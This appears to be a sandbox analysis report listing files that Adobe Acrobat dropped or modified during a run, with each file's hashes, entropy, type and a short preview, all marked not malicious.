SHA-256:	766CEA5621EF554736E652F026856C0423C2332F3C010D69C9A885C3933F4144
SHA-512:	D57C52ABEFF85E7E6D589FB6FF4E7BAA394288AE3874A5138C24AA6BB0E7BE925B7AC22B0BCEFDE27E913BCF8FC34E0C35F3768CFE92AAF34652960A07E60FC9
Malicious:	false
Preview:	2024/11/19-13:11:10.240 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/19-13:11:10.243 1c8c Recovering log #3.2024/11/19-13:11:10.257 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.142049516840174
Encrypted:	false
SSDEEP:	6:HUGFjTpM+q2PCHhJ2nKuAl9Ombzo2jMGIFUt8YUGFAU5Zmw+YUGFZjMVkwOCHhJV:5hpM+vBHAa8uFUt8YF/+Y7jMV56HAa8z
MD5:	21927DEA0F6B53D509F0817A51A5700E
SHA1:	2444403983911FEA746AB0E4CD2B17D4AE4F6005
SHA-256:	766CEA5621EF554736E652F026856C0423C2332F3C010D69C9A885C3933F4144
SHA-512:	D57C52ABEFF85E7E6D589FB6FF4E7BAA394288AE3874A5138C24AA6BB0E7BE925B7AC22B0BCEFDE27E913BCF8FC34E0C35F3768CFE92AAF34652960A07E60FC9
Malicious:	false
Preview:	2024/11/19-13:11:10.240 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/19-13:11:10.243 1c8c Recovering log #3.2024/11/19-13:11:10.257 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3f99399e-7832-4a8e-b6ed-ba4483bf1520.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972783134858621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqifLsBdOg2HZgcaq3QYiub6P7E4T3y:Y2sRdsffsdMHZL3QYhbS7nby
MD5:	FC05E37C8CD866DBE3F04DC39DC7E1FE
SHA1:	6E610D41F8C7C5FE9CE41493618C751659F87BA0
SHA-256:	1E604143D8DB087ACD5819A9697AE208DFA18AD2AA8EF5B7E759492265BC1632
SHA-512:	02F2763F23C802A8112874C224E0B1E593F5C2625BEEC2A329CF869F79CCC37F919E881EB412E886F6855DCD4EC0D3A1507CE7C88872172E18C72D005A1E986B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376599882044290","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":301031},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972783134858621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqifLsBdOg2HZgcaq3QYiub6P7E4T3y:Y2sRdsffsdMHZL3QYhbS7nby
MD5:	FC05E37C8CD866DBE3F04DC39DC7E1FE
SHA1:	6E610D41F8C7C5FE9CE41493618C751659F87BA0
SHA-256:	1E604143D8DB087ACD5819A9697AE208DFA18AD2AA8EF5B7E759492265BC1632
SHA-512:	02F2763F23C802A8112874C224E0B1E593F5C2625BEEC2A329CF869F79CCC37F919E881EB412E886F6855DCD4EC0D3A1507CE7C88872172E18C72D005A1E986B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376599882044290","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":301031},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237267862288346
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bvlWF:S43C4mS7fFi0KFYDjr3LWO3V3aw+bvle
MD5:	0C5273F187DBB9988A23305739D87725
SHA1:	6013E9971720251230D89D0EBD834941385E3410
SHA-256:	75784A1674D8012CC2E43C897439377EBF9E5F8923A6B449E132F7A54339ECAA
SHA-512:	669C0E882785F9FD57C0FEE907E167BDC10ACE2DE876524A06F9F36895D0F0D63A5520AC5E4A72404C975650BC061EF6FD3340851E4A6FD0990C82AB9D3C082B
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.172325120506066
Encrypted:	false
SSDEEP:	6:HUGFbM+q2PCHhJ2nKuAl9OmbzNMxIFUt8YUGFhYZmw+YUGF3MVkwOCHhJ2nKuAlG:5xM+vBHAa8jFUt8Yg/+YRMV56HAa84J
MD5:	4E16B2B48BF47EA6D136D8DF459089E8
SHA1:	E9795FA3279782D42E7EAC11D70FF4B3D01865AD
SHA-256:	EA29CAF27A1283D8D63388C1E6137079A82D65F657CE33FEC57A6427B6E98A44
SHA-512:	63EF4F73BE1717450A777808374BE1EB0DBB0A199BC07DF4BB4EA8F0D79956111032A0A3A0065355527579712851DF13383D19B51E4882F980E1718FE3A2D310
Malicious:	false
Preview:	2024/11/19-13:11:10.578 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/19-13:11:10.590 1c8c Recovering log #3.2024/11/19-13:11:10.602 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.172325120506066
Encrypted:	false
SSDEEP:	6:HUGFbM+q2PCHhJ2nKuAl9OmbzNMxIFUt8YUGFhYZmw+YUGF3MVkwOCHhJ2nKuAlG:5xM+vBHAa8jFUt8Yg/+YRMV56HAa84J
MD5:	4E16B2B48BF47EA6D136D8DF459089E8
SHA1:	E9795FA3279782D42E7EAC11D70FF4B3D01865AD
SHA-256:	EA29CAF27A1283D8D63388C1E6137079A82D65F657CE33FEC57A6427B6E98A44
SHA-512:	63EF4F73BE1717450A777808374BE1EB0DBB0A199BC07DF4BB4EA8F0D79956111032A0A3A0065355527579712851DF13383D19B51E4882F980E1718FE3A2D310
Malicious:	false
Preview:	2024/11/19-13:11:10.578 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/19-13:11:10.590 1c8c Recovering log #3.2024/11/19-13:11:10.602 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241119181115Z-228.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	1.9082609256274585
Encrypted:	false
SSDEEP:	384:f7jp76algKTamm77ypzTyWIvIHFzf4BoOT/GQL5JZ7v+:ftZlqY8vqF0BoOT/GQL5JZ7v+
MD5:	A0A4A9046477B091A503E0B970CF77F8
SHA1:	41EB381672800CDF53D8ADB53672DB6EE127D5E1
SHA-256:	9039CB9646E0EE0595A91C4D0631C2556966812251AD002B65A3CAE6BC2FEDF9
SHA-512:	BF971D796BA33F351DA158738D36496C497408545B242FB24C623E328DDCE6C71404FF83B226DDA65FBB72C3C06085355F0BDD020CF554C3D92A3F4C703A757D
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFkllwfNl1fllXlE/HT8k8Ol1NNX8RolJuRdxLlGB9lQRYwpDdt:kKPl2T8g7NMa8RdWBwRd
MD5:	330B26A5B8F364DE38FF41121AF1E645
SHA1:	4D34D41B26E04FE9295A842413ADBC44927B9A26
SHA-256:	9E541BFE17CF76D5D1D235A019A7370CCA6578CFAAFBD40E10418E0526C5AB38
SHA-512:	B32288AE83AA82A40280CCFC429589D4B2CA5B12DA511CF17BD0CD0CB53D20315414A4BB1F92239FEDA3B3AF221218FC5ECDAD074FC677C61341F4265192CCDE
Malicious:	false
Preview:	p...... .........k n.:..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1224298822818697
Encrypted:	false
SSDEEP:	6:kKM9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:3DnLNkPlE99SNxAhUe/3
MD5:	36BD0720F0E3E544BCD454FE581EFA50
SHA1:	A626140B3758688E4FE99F5C31A59F8EF7BB518D
SHA-256:	28CB2519C92DC8CF16CFFACD2228EC4958454B461BDC8DA8B41590403637F8A6
SHA-512:	1386BC828BCF6190C6F46CBD00601966BF79FBB36A7D8C80198E072EF0EED436C7B2267F0C4B5C0693D9F5C89B749FC97B8341754C99847143082A6DA3728844
Malicious:	false
Preview:	p...... ............:..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324272907194573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJM3g98kUwPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGMbLUkee9
MD5:	08778F235EA7BC908B67ACEA9E206960
SHA1:	6A4D82B1738B352419B0B17FDF3C8A8A7C8CFAFE
SHA-256:	85E4B156A73B2AD9BAFED63C5E26DC01AD81A1C38130D0F4CEE35A7B746F0345
SHA-512:	BFE245CF22C90FE885B0ED29026BD20E3A77DA0DF4A6E16155FA4B86AE86EC54EB67F6ABA17EE27B3DBD24EC6DC0846E5EBC16A42498A6704D71ED9FD9763CC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261405204164971
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfBoTfXpnrPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGWTfXcUkee9
MD5:	5B5B64C8D6D589B8CC2A714ADF23C21D
SHA1:	9363FCEC997C7DFE68BC9AD53E6BDF0D2E6422B7
SHA-256:	BE2FF64D35BBBE0D10C73F6E65552BE5961B0B493D9C0A03C61FDFFC74291179
SHA-512:	CBB6A9310BF4711AF53C6E3A38A065F7E1319192ABDACBB8B8334D6E1C1BCA8305EF914E73DE79ECFE60CAD80D21E1DBC7DF7A612220F37B2A8350C085D6EDF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.24011141839185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfBD2G6UpnrPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGR22cUkee9
MD5:	DF9B1D7B06BBA605E77E1714C64453FC
SHA1:	8D8C86E73F592BF1A7713ED36ADE29F5DA3DC5D9
SHA-256:	E4A93245BE96D84E7C8ABEA01FD1BA42D682E9D9CEC588D7D9C839082A63DD0A
SHA-512:	98C211DFB69F76D3BCBADB9FBAD408FA9A0290F3CC7BF32D3280BCF5BB6A7D107DB58252D23F7BC3BE77C843A9BF01B3AE44F1412D5F1119DBF13A791466E77B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.2998498579811795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfPmwrPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGH56Ukee9
MD5:	DAE5141DE0DFD4FACC3FA1A23EC0411D
SHA1:	A030D83682FE1E71A985DF5145CD3AF1ECBEBD7A
SHA-256:	5373DF4E1C88D489E7F86ED788F7EC8CCEAA820EC6BC75B7DEA6F3551D0D571B
SHA-512:	FF5173C9253D78492CA14E145EF1C16A78C1D7665B6AB8BA6A7AF53ECF446351EBCB317E30396128094886F32366AFBAAFF2968E9FDEC004AC428CE4C4982ACD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6947709784748115
Encrypted:	false
SSDEEP:	24:Yv6XlJh+D6pLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:Yv8Jh+ehgy6SAFv5Ah8cv/3
MD5:	C0DF67A2729EB0635216D8E0AC478477
SHA1:	FF6229A771AD85252225933190BF227C4DB8129D
SHA-256:	0458C2F43FCD8C96BBF97AFBCFA61A4A240477E30294540969860A715BECE585
SHA-512:	99C79F284CD461AD29157A8FC6ABA8D364614594670E15B5D510FCBD530FB20805692CF289B1C74BB2A5C3C9D860D0B664C8B0AC158A4279663794836C081CBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	5.685996170064969
Encrypted:	false
SSDEEP:	24:Yv6XlJh+DcVLgEwcp06ybnAvz7xHn0RCmK8czOCYHfl8zdBW:Yv8Jh+IFgSNycJUAh8cvYHx
MD5:	6C15B82CAF3FAEA418FA1262D55D1D53
SHA1:	776373AA4288EAA762C379DCBA80AC495DF12A29
SHA-256:	B95104A572D55762A846140240849C307421C24F7276F7D4A39F68DC3A88ADEE
SHA-512:	4EE00E748ADDD61D972626C105A2D917FBE515AD35318C37BD5C61E4CA9ED9B3D0AF4391DC180108B995857A4B75B66100D6B027ED2F187FDFFD10D40C439CA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_0","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"1aad653c-ef44-43f7-be1c-3a2ba2cf2cfc","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuIFBERiBmb3JtcyAmIGFncmVlbWVudHMuIn0sInRjY

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.251068097865851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfQ1rPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGY16Ukee9
MD5:	9E30664B27FF40AE419B6721DE148CBA
SHA1:	7683F88BDC19B7311A1F075EB9E0960538EC4A7F
SHA-256:	CE1CB1C91DC1D405B540F7E2EA7B0D8D540655A33E98636AC54AD0C78D1DD176
SHA-512:	CBE0CE447F35AD0884720956FA977B1F0559E866C7C0378CAFC86F5EB6B10592A9D7C253F4E32A9F660071D2F8CD41E2ED9A6EE2550AC28204CB2D0FF5B99282
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	5.675432119200976
Encrypted:	false
SSDEEP:	24:Yv6XlJh+DB2LgErcXWl7y0nAvzIBcSJCBViVW:Yv8Jh+NogH47yfkB5kV3
MD5:	8E99C993FE7480CC189B7F81C55D365D
SHA1:	15F0A6579C6F85E5A2FD9FACBCF73BF73AE89EEA
SHA-256:	C77A1D6DD1F431B426E569EE981448DB8B031023FE4DA015C05D70FF0D4ABC38
SHA-512:	DC9F7CCB094BF018FB187E1CF7BB45D00C8B9687B8CC243DAA99D173320861A52BA6E7E80FD118CF8D349E3C9BD440FD8B0345930D7D96AB646B11B06D9CF4C8
Malicious:	false
